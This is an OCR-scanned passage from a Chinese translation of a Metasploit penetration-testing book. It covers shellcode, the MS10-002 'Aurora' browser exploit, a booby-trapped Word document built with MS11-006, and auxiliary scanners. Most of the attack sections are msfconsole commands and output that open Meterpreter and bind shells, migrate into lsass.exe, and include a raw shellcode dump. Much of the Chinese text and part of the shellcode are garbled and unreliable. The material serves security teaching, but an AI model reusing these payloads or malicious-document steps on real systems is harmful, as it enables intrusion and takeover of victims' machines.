HEMES I TAEDLEE . TIBASRBEN—EILHTRS: THIEMERE, LT T &5, =
B HMX EIFEAFFHEESEREHIENTHSFERN —MES KR, MBEEFEIERITT
RPiBE —ERHTHRS, BAMEMFE “Wl” ZBREHRSKIEIEASHNER, 2H4Ti%
R4 Z G F—%¥84 . 7 Intel x86 BR80T, - DA WN AR 90, £ Px90 1
A HMERELEP.

MUt S FAR TG W T ST X 5 shellcode GBI 2B ER, RSB EIIEREAR H
. BRI - KBRAEZE . ARmATRE, BN ESRACREREEITHMEIERITE,
Br CARA 138 % R D0 BE B8 04T JavaScript BAI L BiF KBNS, W EHRATIESBITFR
FEREE S 1Y shellcode A KRMIAFKE. HBFAITHERSE)E, BEESMHEILBES
WA AT, X AEMIEA LM TIRS WM TR B, BFILER shellcode
B2 AFT. LB TEATTFD T K shellcode Hill 8 XG4 AR A, WA R ThiESs RO
FReWIXF| 85%F 90%.

XA BARKE T R RBBEBCHER AR, KXEFA T SR AF AR S, 0%
SFRITRIATHESH MRS L EANE, BAZER—TEEMNEERIEE, BRI IMES
FXEF GRBERERIDETORMER. £RFHRTE AR SBSBR L2 60, RITK
ERCBBENGRER, MEME T84
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Metasploit 74 1% 1iX iR

8.1.2 TS

ATHETHEHEANERASHERMNAZE, BRIIEE M LEFEERNGPELZRS
BATRHIFF. ETEANED. - EHEZEX0 £ Intel x86 59 T KHRFS. TE Intel
x86 ICHTH, — 90 RRF—-FTHS. LXHE, RNTEFR- EH W0 5 T —TFTR, B
RE LB M B BGH SRS, XANEEA LR — 1 R & 44T shell, BUZ- 1~ Meterpreter shell

W90\ X0\ xS0\ XF0 \ PO\ xFO\ x90\ X0\ X 90\ xF0 A X 9D\ XFOA XG0\ X 90 L x 90
W90\ xIOAXGD\ xI0\ X IO\ XFO A XD\ X0\ XFOAXFO A\ XI0AXID A\ X IO\ 2 IO\ X0
LX90\x90\ XG0\ X90\ X 90\ X90 A X0\ x 90\ xS0\ X0\ xF0\ x 0\ x 90\ x 0\ X0
W e \xeB 80\ X004\ 00\ K00\ K60\ X80\ xe 5\ 3 1 \ xd 2\ x6 4\ x Bb \X52\ x30
WxBb\x524x0C v x8b\x 52\ x14\xBbAvx 724 x28 \x0f W xb7 v xdarx 26\ x 31\ xff
VAIAXCOAXACXICAMBLAXTCA X020 k2 AW X 20\ XC 1 v o T xOd w01\ XC 7\ xe 2
WFOAVKS 20 G 7\ Bb A\ S 2\ 10\ xBb A x4 2\ 3 A DL xd O xBb A\ x40\ x 78\ x85
\XCOMTAAX4a\X01 \xdOV 50\ xBb A x 48 18\ xBb \ x58\ x2 0\ x 01 \xd3\ xe]
W3 x49 v xBby\x34\x8b\ x01 A xdo S 1A xFFAXI T\ xc O xacxc 1 ixc Fixod
AXDLAXC 7oA 8\ xe0h X 75\ A\ 03 v\ d A\ FB b A 7d v x 24 \x 75 \xe2\ 58
WXBbAxS8\x24 v x01 v xd3\x66\xBb\x0c A x4b\ xBbAxSB\x1c\x01\xd3\x8b
WxO4\x B\ 201\ xd0\x 89 \x 44\ x 24\ X 24\ x5 b\ x5b A6 1\ x5 9\ x 0 \ x5 1\ xff
We0A x5 B RS FixsaixBby 12\ xeb \ w86\ K 5d\ xB8 A X313 2 x00\ 00\ KB R
W77 0732\ S FA XS AV BB A A X 7T AN 26\ 207 W F Ay xd 5\ x b8 \ x 30\ x 01
WXOOAXD0 NV x29 0 e 4 W54\ X 50V K68\ x 29\ x B0\ xBb\ 00\ x T\ xdS W x50 x50
VX504 X504 404 x50\ x40\ x50\ x6B \xea \ xOF \ xdf A\ xe0\ xFFiuxds\w97vx31
\xdb\x53\x68 4\ x02 \ X000\ x01 \ xbb\xB3\ xeb \xba \Xx10\X56\X57 \x68\xC 2
Axdb 37 xB 7\ xFFAxd5 A x53vx57 \x 68 \xb 7\ xe0 \ x38\ x FH A FHixds\x53
AXSIWNE7AxB8AX T4 e W3 bAxe 1\ F A xdS A X5 7\ %97\ 68 \x 75 \xbe\ x4d
WELAXF A xd 5\ xBa\x D0\ xEa \ 04 A xSE XS TAXGE A X022\ xd O\ x B\ XS FAXFf
WdS Ax8bA\ X361\ x6a x40\ X568\ X00\X 10\ X000\ xDO\ X56 \ x6a \x 00\ x 68\ x5 8
Wwad i x53vxe sy Fads W93y x53 i x6a A xD0A X561 X534 X5 7 x B8 \N02 A xdy
B\ ST TR d S AXDL A XC IV IO B A TR A XIS A e C \ ke 3

8.2 £/ Immunity AR F KBTI S 2563

WIRBRE—TTO, FTLIRAXRZFRXTHRNETRE, OBILRESH. AR,
IR FHE AR, 2iBd A AR ANLSENESLRERFHEXT oday BT, TH
N FR el THE, BLAMR XBEEE .. MASH RS, BTN ALE 230 HAE Immunity
WS (A EEPSEHRED. ERETHAANTZE, BOERMFGED Immunity #id3E
AN AHERT T A%

kTR — 1SS ITERWALEITH, AT CLHBERE R BEENH FrPHRTE RS
PLBBRMMFEATR. MTF—8& Windows XP HirEHN., WA AN Atp-//www immunity
inc.com/PE T 8 Immunity IR 2SR, WAEIAT msfpayload THERFEF KA —1 &
i shellcode ¥/, RILAER L TCP 443 [P shell R, WT A, ENRENHET
DETT AR, S shell BRTE HFRESL ERWT-—4 50, BT LR ERGX A O,
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£ 8 ¥ ERiKEENE

R IZ EHLRY shell A&

root®bt: fopt/framework3/msti# msfpayload windows/shell/bind_tcy LPORT=443 C

HPATIX L i 42 5, Metasploit # -5 P shellcode, srHlal ARG E “H—HrE” Hl
“EMBL” B shellcode. FATH X040 T 38 —Hr B shellcode, B EE—FTE shellcode BT
T B i DA IE R H R, Metasploit S8R _FTET shellcode KIEFXMEK L. R
TS B — B B i shellcode # HEH G BIIRBIE R LA RMAET, RS TERE TR TIEL
A8 A 4 L T S A AR

MERCLER T — 1B AN shellcode, #/a4RATLAIFEIZ A shellcode B EI TE N 1R 2 <562
(1 X 90\x90\x90\x90\x90) . HEFHH M BER 2 /5, Wi FRras:

309090905090909090905090905090909090909090908030905090904090903030909050909090909050909090F
ce8890000006089e531d2648b52308b5 20c8b52148b722801b74a2631fF31c0ac3cb17c022c20c1cfodolcTezfo
52578b52108b423c01d08bg07885c0744a01d0508b48188b582001d3e33¢c498b348b0o1d631fF31c0acc1cfodo1c
738e075F4037df83b7d247522588h582401d3668b0c4b8b581c01d3Rb048b01d08G4424245b5b61595a51FFe058
Sf5a8b12eb365d6833320000687773325F54684077260711d5b89001000029c454506820806h00FFd5505050504
050405068eadtdfedTfd59731db5368020001bbRGehbal10865768c2db3767FFd553576Bb7en 38 FHFfd553535768
74ec3be1ffds579768756e4d61ffd56a006a0456576802d9c85fFFd58b366a406800100000566a006858a453e5f
td593536a005653576802doc8 s FFFds01¢329ch851675e8C3

F IR X ERVE A L ANR, B R SR DU NG RV SR8 % $5 35 Immunity 1314 28 0T Bl
EEREA. REFCELE T M3 PHE 2B E shell KHTIMAT . & TR, 7THE 4
AIITHERF, TEIX B L iexplore.exe A, & 47T Immunity 13448, 15+ File YY) Open
w, MEHRA— T HTERE. RAUEXHED (BAHLEN) vEHRBE1LKiIE4. H
ML oaEEPREPHE - £159, REHKE SHIFT @M TARSRE DB RS 300 4
54,

FrE ISR 2H) shellcode B2 AR, MIGTE Immunity FHAE D MG B S GEH
Binary iE£I0 9] Binary paste. 25 _FIRFF P ET HIE-2 5052 Immunity FERAE (1.
(FETEHNE, HATSHEE HNRREREESRE SRS ZWMEITH.D

RO LA 8-1 PEI—HHEAANEIES, MRETESFEA£, BSEFIRE shellcode.

BBRFIFE— K bind_tep $F3H shellcode B, WULFFRE -HrRMNERTESE ece3. 7
A Fh B XA L ece3 RTS8

EEE ece3 2, HF2HE Mid. ZRETH N ZE, EFOHATRE (X8 A
ZEREEER TN ARSE., X MTAEXELEEEER, FEBRMNAERBIT NN
EFCARERRAMEERIT, MR THREETEINEA T AT SB XA EF HIR.
BINOAERFNRAFEECE TR HRIAREETHA,

113



Metasploit &N 18/

&l 8-1 hifrZZe¢HBRKTHESRITX

ke 8-2 B, EL 3 45 TR IR IATTHISESE shell PRSE — 15 HR.

fEFc3fdzm, HP2ZBEEWNS. AERMNESTHRPITEZEERET 4. ERE/E
MATIRSHESXENN, R5% F7 8. IARGSEEFNT FiLEWL, T2
RIS T —&C &S RIOFEZIEPITZE, T THESERRERT. BEEFAHE
BHM, BANKXR -FREmp2RiEE 2.

BIEE, 3% F7T @5 TR2Zh, EFITRENTHRIBTE. 3GE KN TEAF
P ) shellcode $64-8%, FTH— Mg T mIFMANS netstat -an. INIENZEFLAHER
Urr 443 gr 1 b, X0 3B AR T I S B AT e R A P T B

T F5 8, AEBRAVTERFR-EITRERSCERMZFIRMIENE KA. FESTE
Immunity AR QX E T HEIE SRR N, BT RS BHERECSPIIT T IR EGE
BT, PRILTEA] LA netstat -an T 2l 443 i 0 %37 A THRVTRE

FE—AEmBEH L, F telnet REEE AW 443 3L, RERMEHEMFHFERE.
X R R KRR EE W E] & 8 Metasploit B 5 B shellcode. ZEREY Back Track LT,
J&AT Metasploit, ZBGRE — L EELT3E. XS5 UF Metasploit £ HIF LA 443 A L2
ST —AIHE T HE—Fr & shellcode RIHINT 8%, B LAFIX MR [R5 5 P EX sheilcode, M
i K BR B P i
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i 8-2

FiF b ER, .

FEAPH EH{ Kk}
CAl L

U b L EDN
o . R
Fir-H EE::
FLEH BES ] oem2
Wk £51  E45f
FUSH 18
FIe-H B
FLH D
FItsH w7 Tl
CALL [Of
Fired FEC:

FIe-H FED

FlesW EQrl
rHEH Bl DL
il FhF

]

TueH ED

STH pHeL HI
FULH S1DeE™S
1L kR

rJid g

ik

P LT

Hr-H kL

FAEGH BFC T
L

Ok OO0 DD
MEH AW

CLSH |G
Flt=H F=[

PG 0

LAt s L
[ALL EBF
SIHHE FHLL B,
FisH EB..
WbE-H H

rsH E51

Flt=H Ff;

ruiM Col
FrioW BEF

5T ol bl
AR SHOET Dok owr , D020 S0
RE M

FIT Dot (ESLI

B &R AISSIRPRIE G —M o

HeE EPmESENL

msf > use multi/handler

mst explpit(handler) > set payload windows/shell/bind tcp

payload => windows/shell/bind tcp
msf exploit(handlexr) > set LPORT 443

LPORT =»> 443

mst exploit(handler} > set RHOST 192.168.33.130

RHOST => 162.168.33.130

ms¥ exploit{handler} > exploit
[*] Starting the payload handler...

[*] Started bind handler

[*] Sending stage {240 bytes)
[*] Command shell session 1 opened (192.168.33.129:60463 -> 192.168,33.130:443)

EN LRG> RE, RSB INEENGT shell! FA—MRIFKIZRA, {RATLL

ZRMAT MR IR -YrE Meterpreter shell, SR EHFRTHERE —MERIERE. ECR
K7 J5, #Ral Xm0 Immunity AR E D, MEW L. AL, ERNERMET
Immunity WA, BITHSERERJLEPEA Y. WIE, ELATITTERE — RS HE B
BUA I RSB B
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Metasploit ;534

8.3 7 |E =R IR A RIFIEITZEF R

WHAECZAEHEMR S SRR TR, B RO REAHENFFRREAFER, &
HEHZIRSH shellcode. RAVHEHE —H T — T RAZXMBARKNBBR LR, EXPEH
PEANBE SRV EENE P in@EEGEERA R B, AXE, RNERNNREEEE
BRI R E L R (MR ESA TSR MS10-002). X Fb#aEE 2 E R
Google ZER —+HFABBANE], MELEAZY. FEXTERIEREZERHE 2010 £4)
B AR, BREERESENZTE S, BEELEIT Tk AR Z M8 AR a0 1Rk,

Fians, RATELHA Metasploit + FIHRCRFEBERGRER, R RERIERERHHE
7. THEHMGSEMZIREME, BEARNEWHNETHE DS, 3T AR AR
A RIB HEL R ar 28T, AT S M0F LA .

msf > use windows/browser/ms10 002 aurora

mst exploit{msi0 002 aurora) > set payload windows/meterpretex/reverse_tcp
payload => windows/meterpreter/reverse tcp

msf exploit{ms10 002 aurora) > show options

Module opticns:

Name Current Setting Required Description

SRVHOST 0.0.0.0 O yes The local host to listen on.

SRVPORT 80BD @ yes The local port to listen on.

55L false no Negotiate SSL for incoming connections

SSLVersion  S5L3 ne Specify the version of S5L that should be used
(accepted: 5SL2, SSL3, TLS1)

URIPATH @ no The URI to use for this exploit (default is random)

Payload options {windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process
LHOST yes The local address

LPORT 4444 yes The local port

Exploit target:

Id Name

0 Automatic

mst exploit{msi0_002_aurora) > set SRVPORT 80
SRVPORT => Bo

msf exploit{msiC 002 aurcra) » set URIPATH / @
URIPATH => /

116



¥BE EFRBENE

mst exploit(msi10 002 _aurora) > set LHOST 192.168.33.129
LHOST =» 192,168.33.129

mst exploit(ms10Q 002 aurora) > set LPORT 443
LPORT =»> 443

msf exploit(ms10 002 _aurcra) > exploit -z

[*¥] Exploit running as background job,

mst exploit(msi0 002 aurora) >

[*] Started reverse handler on 192.168.33.129:443
[*] Using URL: hitp://0.0.0.0:80/

[*] Local IP: http://192.168.33.129:80/

[*] Server started.

msf exploit(ms10 002 aurora) >

B, 2% SRVHOSTOHIE A RE R 00.0.0: XEHREHIE Web RSB EEHHMN-£
#OLF., 3% SRVPORTOMEAMERE 8080, X w2 ERHABEEENWwO, KihZH
R VR BE, FAMEH 80 3 Msk44H 8080, IRATIEIFETT LA Web (R S2512 B A SSL.,
BREEX DT, LAITEREAEERN HTTP 1. 2% URIPATHO 2 H P FE U ) ik
FIAH) URL Hodb, Bl 1R H & AR,

BINEEBRTEMZE. 7TV Windows XP EBRIYLE D R http.//< BT HTIP K> 25
HEFHERM . REEIEDNERTER, FETERZE, BT LR
0 =W BB - Meterpreter shell, MFAHR. FHHEREG, #MHHDLEMT, BiEE
PITE SRR TE S, FHBEXaP THRA BN shellcode. WMRMMERBEELZ
BIITFH Windows FHTHEMBRMITEE, RESRI lexplore.exe TR TH#FH T E BN
FIn, MESHSAMAGFRERENK.

msf exploit{ms10 002 aurora}) >

[*] Sending Intermet Explorer "Aurora" Memory Corruption to client 192.168.33.130
[*] Sending stage (748032 bytes)

[*] Meterpreter session 1 opened (192.168.33.129:443 -> 192,168,33.130:1161}

msf exploit{ms10 002 aurora) > sessions -i 1
[*] starting interaction with 1...

meterpreter >

TEBE ™ Meterpreter shell 2 /5, WRIC BB —A/DE. mIR B4 P RS 3
BB EX AN S EERENTA? IBSFREEZCEAE BEAENE CRYZER G, GBI
I RSN RD, ReRBOERT ST, ZEfE, I7TREFITEENAE:
HIEE—ERVNT, & FiEfT4r4 run migrate, W T AR X TEFTE Meterpreter F AT
K2 BB HEAE shell TR - EFRMLHBEANFZEP, MRIPTEFHHER R @A N sass.exe.
R B ARE R T BB G R, A S T 8 S RIFLE shell ZEEE.
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Metasploit #5 i %MR4% 5

meterpreter > run migrate

[*] Current server process: IEXFLORE.EXE {2120)
[*] Migrating to lsass.exe...

[¥] Migrating inte process ID 680

[*] New server process: 1sass.exe (680)
meterpreter

XA E — M FRIT BT, SRR T LUE i F PR B 1) 7 28 5% 10 5k X i A
RS AT ik, BIEHHEREIHITER AL IHED ., 8 show advanced #7278 BLFH
AR TP & EEYE, T s

msT exploit(ms10 002 aurora) > show advanced

Module advanced options:

Name : {ontextInformationFile

Current Setting:

Description : The information file that contains context information
Name : DisablePayloadiandler

Current Setting: false
Description : Disable the handler code for the selected payload

Name : EnableCgntextEncoding

Current Setting: false

Description : Use transient context when encoding payloads
Name : WORKSPACE

Current Setting:

Description : Specify the workspace for this module

Payload advanced options (windows/meterpreter/reverse tcp):

Name : AutoloadStdapi
Current Setting: true
Description : Automatically lecad the Stdapi extemsion

Name : AutoRunScript

Current Setting:

Description : A script to run automatically on session creation.

Name : AutoSystemInfo

Current Setting: true

Description : Automatically capture system information on initialization,
Name : InitialAutoRunScript

Current Setting:
Description : An initial script to run on session created (before AutoRunScript)

Name : Reverse{onnectRetries
Current Setting: S
Description : The number of connection attempts to try before exiting the process
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Name : WORKSPACE
Current Setting:
Description : Specify the workspace for this module

msf exploit{msi0_002 aurora) >

AT W R R T, RATT T LAR G R RSB AR R I R R i E. o,
BAVRE SR A RBAGERRIRZAERN RS WRFRBOER, W LSRN 2R E R
REM 5 24nk 10, W0 FATR:

msf exploit{ms10_002_aurora) » set ReverseConnectRetries 10

XA FEFY, ATHLEEFRE A BEBICHIA S, FE BB TERITIED—
MFHEFEP « R AutoRunScript JETH, {RA] LLA Metasploit 1% E Meterpreter 12 7 ik #2 6]
N5 LH3ET T HE, @il FIRRKIEIT migrate 475, TTLMEE Meterpreter B 31217
—/ I FEE, R OSIBEHE Y.

msT exploit{ms10_002 ayrora) > set AutoRunScript miprate -f

MAERYT LI ZABEFTESITEENL, ReEFEATATNL. WU ERRAEEREERDY
Meterpreter 215 2 BT KR TH X

HFXE—IETHERMRERD, KBERETRBETAZRA K, T rEH)
ERE, LA use priv fl getsystem #r-& K ZA7E H b EHL ETIRN.

Pl IE, ROgRT — P FaRmFRAR, ERUERRT BB RE P i B ]
DAEEAE, FHEZUHERBENAY, HLAREHFCHBIRALXEFE —TBESEN

8.4 MHERFEIRSENSL

HENHEFFEOEMA AR AL bug SRR EA AR LZ2EH, by Adobe
PDF. iXERBEBETEA S HF RN B 237 AR ARk . B SO e
R TR, REFSRRAUTIGRSGH, . ZXERFEL, RIICL2FATHH LG
RIUNFEEEBEHETH RN ARERES, PR FRAASBRES 10 FNE.

TE— R IR IRV B MR, RmT DL Bh TR a] LUBE B H LRI 0. IXib
SCHF AT R - Word 0. - - PDF 304, - A, BRE K T & o/,
FEEXNHFP, BRNAHNZE2RERHES 2 MS11-006, R FEMIK Windows & %R K
CreateSizedDIBSECTION HF#F7E ) — A FR 82 HH il .

AT LLTE Metasploit FHERRXT msll1-006 fUE Bt 5ol MSF 28 A
X MEBEBGHER, RESAN info xS EFATHEESE, WFHR. ERTRAHES, BT
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Metasploit i % Wi 5

i He & B o B R doc XXM

mst > use windows/fileformat/msit 006 createsizeddibsection
mst exploit{ms11 006 createsizeddibsection) > info

» « SNIP . . .

Available tarpets:
Id Name
0  Automatic
1 Windows 2000 5Pp/SP4 English
2 Windows XP SP3 English
3 Crash Target for Debugging

ETR, R —ETAREBELEN BRGNS R AT MRS, RNEFE3LA,
HEAFRMNBEARBNRE, WFIR:

Basic options:

Name Current Setting Required Descriptien
FILENAME  msf.doc yES The file name,
OUTPUTPATH /opt/metasploit3/msf3/data/exploits ves The location of the file.

BATEHRUE—FRE M RHE. EXE, RITEERARAN meterpreter shell,
I

mst exploit{msi1_006_createsizeddibsection) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

mst exploit{ms11_o06_createsizeddibsection) » set LHOST 172.16.32.128

LHOST => 172.16.32.128

smst exploit{ms11 006 createsizeddibsection) > set LPORT 443

LPORT => 443

mst exploit{msi1l 006 createsizeddibsection) > exploit

[*] Creating 'msf.doc’ file...®
[*] Generated output file /fopt/metasploiti/msfi/data/exploits/msf.doc®
msf exploit(msil 006 createsizeddibsection) »

8.5 AXWMEHH

BRI L 2 msfdoc®, Metasploit 4 R # 2 /0p/®TF . M, RINBEFTT -
AEBE N, LRt RISERP,. FFETHAETHE. SNRTIRE 1 #EH P s
ABRERNIN ] HgeREAEL. HARNEERFT XN, DAEERY SR 2
RV, WTFHR. XPERET RRIEER BN RAERN, FdEye Bk EiEA B s
FrEE R (— R AD-
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msf exploit(msit 006 createsizeddibsection) > use multi/handler
msf exploit(handler) » set payload windows/meterpretex/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(handler) » set LHOST 172.16.32.118

LHOST => 172,16.32.128

mst exploit(handler} > set LPORT 443

LPORT => 443

msf exploit{handler} » exploit -j

{*] Exploit running as background job.

{*] Started reverse handler on 172.16.32.128:443

[*] Starting the payload handler...

msf exploit(handler) >

FAE—4 Windows XP BHEINPITHIZ LR, HFLBH— shell (BRFLHESGR
Windows XP SP3) , 1 T

msf exploit{handler) >

[*] Sending stage (749056 bytes) to 172.16.32.131

[*] Meterpreter session 1 opened (172,16.32.128:443 -» 172.16.32.131:2718) at
Sun Apr 03 21:39:58 -0400 2011

msf exploit({handler) > sessions -i 1

[*] Starting interaction with 1...

meterpreter »

BIL A Metasploit, HNIMRFIHT M0 KB 2R, WET —MEE
AR ER BN H A, . RIBUXMSEBHEE, wREEX B H N8
i, WAFESRLENELE FATERES, MM EE%ERE Metasploit F& LFEER
BT HBITL -

8.6 /&

ERFER, RAVNER [ EEE WA RAENFRIEE P REERD, RINMERT $8H
REZXRBEPHER, CARRASMERRE. RIGSESE 14 BRE 15 FE—P%THR
s IR . MS11-006 &- MEEHZ2WF, BRAITEERGE Wit - Frbitid it HiEH
K. HREEHNE, METRESENGHMNRIBARRTERIZH THSDXT HIrE
58

R —MBEURE, RNEZMAE - KERRLEBREEMAN. L5k
BB, WRRREN AR ABMITE BREMN SR T B B AN N BN &5
BT, B4R ER AT e KM In . A A B 3% VR A SR SR R A e B
R TIEFEARANE, AERESHHAXERA T EFNERGRE, RINEIERIE
A 10 FHRETHOX FRAIM.
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o F=
Metasploit i BRIk

KEA A—$## Metasploit, fi§ 7 EERES| AT HBERLRR. BEAGERS, %
HA T RNEIEERGEEHR, ARRMITRITE T RBRHRR E. HEEHRNSE
BERGERENEN, RETFE—EEMRRTE. RIEBE X, Metasploit P “ NE@EBEHH
M BARIER AR Cauxiliary module), X/MERINE XERIMNETTREPBREZR, ©

B TR HMERT R, MO8 #HE. BRSSO (fingerprinters) 3, HHBY
B IR AR ssh_login XHHTR, ERSERA—ITHP ZFMOSHIRED M LR
SSH BREHTEIDSHH. AL HF % Fuz WK TR, W fip pre post.
hitp_get uri long. smip_fuzzer. ssh_version_corrupf M, gRu] O —Eer e 1 B iR ITX
 Fuzz A8, HIRBAWHERT —BEIMIGK.

WENVRAE GRS, BAERBREF[SENALAR. ERNIFHETFTHIRRM
AEfTgEl gz, SXREEENIIEREETARA.

@ #F&#: B EeDA Metasploit v4.0 AT M T EAFL LS, ATHELERMNBFERLEH
S Ah; KR B AR A P A SRR LAY,



Metasploit 3 iFRiX #5558

© rootfbt:/opt/framework3d/ms¥3/modules/auxiliary# 1s -1
total 52
drwxr-xr-x 23 root root 4096 Apr 10 03:22 admin
drwxr-xr-x 4 root root 4096 Dec 14 03:25% client
drwxT-xI-x 16 root root 4006 Jan 1 04:19 dos
drwxr-x1-x 8 root root 4086 Dec 14 03:25 fuzzers

drwxr-xr-x 3 root root 4096 May 2 15:38 gather
drwxr-xr-x 4 root root 4096 Dec 14 03:25 pdf
drwxr-xr-x 36 root root 4096 Apr 10 03:22 scanner
drwxr-xr-x 5 root root 4096 May 2 15:38 server
drwxr-xr-x 3 root rooct 4096 May 2 15:38 sniffer
drwxr-xr-x § root root 4096 Dec 4 03:25 spoof
drwxr-xr-x 4 root root 4096 Dec 14 03:25 sqli
drwxr-xr-x 3 root root 4096 May 2 15:38 test
drwxr-xr-x 3 root root 4006 May 2 15:38 voip

£ LHMFRPIRSE R, XEBHRZRIT Metasploit Bj/modules/auxiliary HF 0, ©
TN EFHBEOSREAMNIIRIAT S . AN FREMEN, HF R H IR
HAAERHTHRE, RAALEHRENERERERERIEN. BA0T, MRERFEF
K — Fuzz WAL, LAROEEERBHE, WU fizzer BR PR — MM EFERE
hEE,

Al LA7E MSF £ i 481 A\ show auxiliary 67 - @ %5\ B G W G Bh B, G = fRI04E MSF
20m R HTR R Z R B DO BT S, e R AR EKBTIEEE R&H
f1, W FTR:

© msf > show auxiliary

Auxiliary
Name Rank Description
admin/backupexec/dump noxmal Veritas Backup Exec Windows Remcte
File Access
admin/backupexec/registry normal Veritas Backup Exec Server Registry
ACCBeSS
admin/cisco/ios http_auth _bypass normal Cisco I0S HTTP Unauthorized

Administrative Access
. » - SNIP . . .

fuzzers/ssh/ssh_version_corrupt normal 55H Version Corruption

fuzzers/tds/tds _login corrupt normal TDS Protocol Login Request Corruption
Fuzzer

fuzzers/tds/tds_login_username normal TDS Protocol Legin Reguest Username
Fuzzer

fuzzers/wifi/fuzz beacon normal Wireless Beacon Frame Fuzzer

fuzzers/wifi/fuzz_proberesp normal Wireless Probe Response Frame Fuzzer
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gather/citrix p

gather/citrix p

ublished_applications normal

ublished bruteforce normal

gather/dns _enum ngrmal
gather/search email collector normal
pdf/foxit/authbypass normal
scanner/backdoor/energizer duo detect normal
scanner/db2/db2_auth normal
scannexr/db2/dbz_wersion ~ normal

TFOoE Metasploit HahiER

{itrix MetafFrame ICA Published
Applications Scanner

Citrix MetaFrame ICA Published
Applications Bruteforcer

DN5 Enumeration Module

Search Engine Domain Email Address
Collector

Foxit Reader Authorization Bypass

Energizer MU0 Trojan Scanner

DB2 Authentication Brute Force Utility

DB2 Probe Utility

M ERE ST OUE R, BB B 2B T HARN ., BIREIRESE D DNS &
HER, Wi-Fi Fuzz AR, E2- -AMTAXERIF AP ER (Energize) USB Hith 75 r 28

REYETIEAEB,

A Metasploit BRI B i B it ahiel, RER BRI use fr IR L
2T, BFIRE, 188 webdav scanner Bl (ZETF—/F “{EFE 8BS LY 844D,
YRSA W F BT 738 use scanner/http/webdav_scanner 4714

RR: AWMy, — LA RKEHR A8t —Rigft £5), & RHOST A% i %
A FEALEABDHFEN, THREAD S48 M R A0R1335:% X %,

O wmsf > use sca

nner/http/webdav scanner

® msf auxiliary(webdav_scanner) > info

Name :
Version:
License:

Rank ;

Provided by:

HTTP WeblAY Scanner
0179

Metaspleit Framework License (BSD)

Normal

et <et@metaspleit.com>

Basic options

Naine: Current Setting Required Description

O o o oo e - T - e o o S bl ulk s e

Proxies no Use a praxy chain
©  RRHOSTS yes The target address range or CIDR identifier
RFORT 80 yes The target port
O THREADS 1 yes The number of concurrent threads
VHOST o HTTP server virtual host
Description:

Detect webservers with WebDAV enabled

wsf auxiliary{webdav scanner) »
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Metasploit % i% 1L 8 RS

KEAE use ir S EARNBEEBHEEO, RSEH info S IKELC THEREFESH
HFHE, XEGEEPARETHENSHIEHY. ES¥ARPBITFIE — RHOST £H
O LIH BB AR AE. TAIOTLUH RHOST & 1P Huhl. 1P #uhk$|3&R. 1P Hulk B ek CIDR
iRl

Rt Z BB ERPRRAAEESEMERZR. ¥FIRiE, THREAD ((318) 02K A
WEFRET A ZEENRE, RESENEESE, TNEREEEERRESRAEEE,

9.1 (ERHEIER

MARRATUEL S s & P EEES S HAKEIR, AR —MEHE RS EHR
HKEDC. MRRLERD —NEEASBES, FRETTCURE S I ST EK. A
T 78 PRITAR B & K

WA — MR WG R, IERHT —VOEERENR, WRERTHEEE, BRTEH—
L Web REJ[BINHTHR. XM RPBETELSSE, MFRERUELEBALE. XEHE
scanner/http FEVRHBVRAEE B, BB EIRIRIPEF 0 BHRRE, FHHMEHITE
BiER&. MTHR, ATEMER search scanner/http dr- S EHEFA TG HTTP 393558,

mst auxiliary(webdav_scanner) > search scannershitp
[*] Searching loaded modules for pattern 'scanner/http’...

Auxiliary
Name Rank  Description
scanner/htip/backup file normal HTTP Backup File Scanner
scanner/http/blind sql query nommal HTTP Blind SOL Injection GET QUERY Scanner
scgnner/hittp/brute dirs nommal HTTP Directory Brute Force Scamer
scanner/http/cert normal HTTP S5L Certificate Checker
scanner/http/copy of file normal HTTP (opy File Scanner
scanner/http/dir listing normal HTTP Directory Listing Scanner
scanner/http/dir_scanner nomal HTTP Directory Scanner

scanner/nttp/dir_webdav_unicode bypass normal MS09-020 I1S6 WebDAV Unicode Auth Bypass
Directory Scanner

scanner/http/erm delicious notmal Pull Del.icio.us Links (RLs) for a domain

scanner/htip/enum wayback notmal Pull Archive.org stored URLs for a dowain

scanner/http/error sql injection normal HTTP Errer Based SQL Injection Scanner

scanner/http/file_same name dir normal HTTP File Same Name Directory Scanner

scanner/http/files dir normal HTTF Interesting File Scanner

scanner/http/frontpapge login nomal FrontPage Server Extensions Login Utility

scanner/http/http login normal HTTP Login Utility

scanner/http/http version nozmal HITP Version Detection

scanner/hittp/lucky punch normal HTTP Microseft SQL Injection Table XSS
Infection
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scanner/http/ms0g_020 webdav unicode bypass normal

scanner/http/options
scanner/http/prev _dir same name_file
scanner/http/replace ext
scanner/http/robots txt
scanner/ttp/soap_xml
scanner/http/sqlmap
scanner/http/ssl
scannexr/http/svn_scanner
scanner/http/tomcat mgy legin
scanner/http/trace axd

scanner /htip/verb auth bypass
scanner/http/vhost scanner
scannex/http/viware_server dir trav

scannet /http/web_wvulndb
scanner/http/webdav_internal_ip
scanner/http/webdav scanner
scanner/http/webdav website content
scannexr/http/writable
scanner/hitp/xpath

normal
naImal
normal
normal
normal
noImal
normal
normal
normal
normal
normal
normal
notmal

ncImal
normal
normal
normal
notmal
normal

Ho¥ Metasploit FEEhisR

M505-020 1IS6 WebDAY Unicede Auth Bypass

HTTF Options Detection

HITP Previous Directory File Scanner

HTTP File Extension Scanner

HTTP Robots.txt Cortent Scanner

HTTP SOAP Verb/Noun Brute Force Scanner

SULMAP )L Injection External Module

HTTP S5L Certificate Information

HTTP Subversion Scanner

Tomcat Application Manager Login Utility

HTTF trace.axd Content Scanner

HTTP Verb Authentication Bypass Scanner

HTTP Virtual Host Brute Force Scanner

YMware Server Directory Transversal
Vulnerability

HTTF Vuln scanner

HTTP WebDAV Internal IP Scanner

HTTP WebDAY Scanner

HTTP WebDAV Website Content Scanner

HITP Writable Path PUT/DELETE File Access

HTTP Blind XPATH 1.0 Injector

XEHBEERERAT BT, BERMNATHE— SR RAERINEXM. BINEE

HESL B K TR LRI S - R 548 LIE robors.oee CHE, HOLFHRT LTS
WebDAV R H MR, HOMRHET M ERAFIUTEHIRRE BN TR, HINEHRE
TR RN BRI HBIRR.

PRI RRNB W ZRBEH +BENESENE BN . IFRIMK IS %485 WebDAV I

R - - AT FaRBERENRE, EIGEEXT HisdT— A, FPEasem 88
| WebDAV BAR& 32,

mst auxiliary(dir webdav unicode bypass) » use scanmer/http/webdav_scanner
mst auxiliary{webdav scanner) > show options

Module options:

Name Current Setting Required
Proxies no
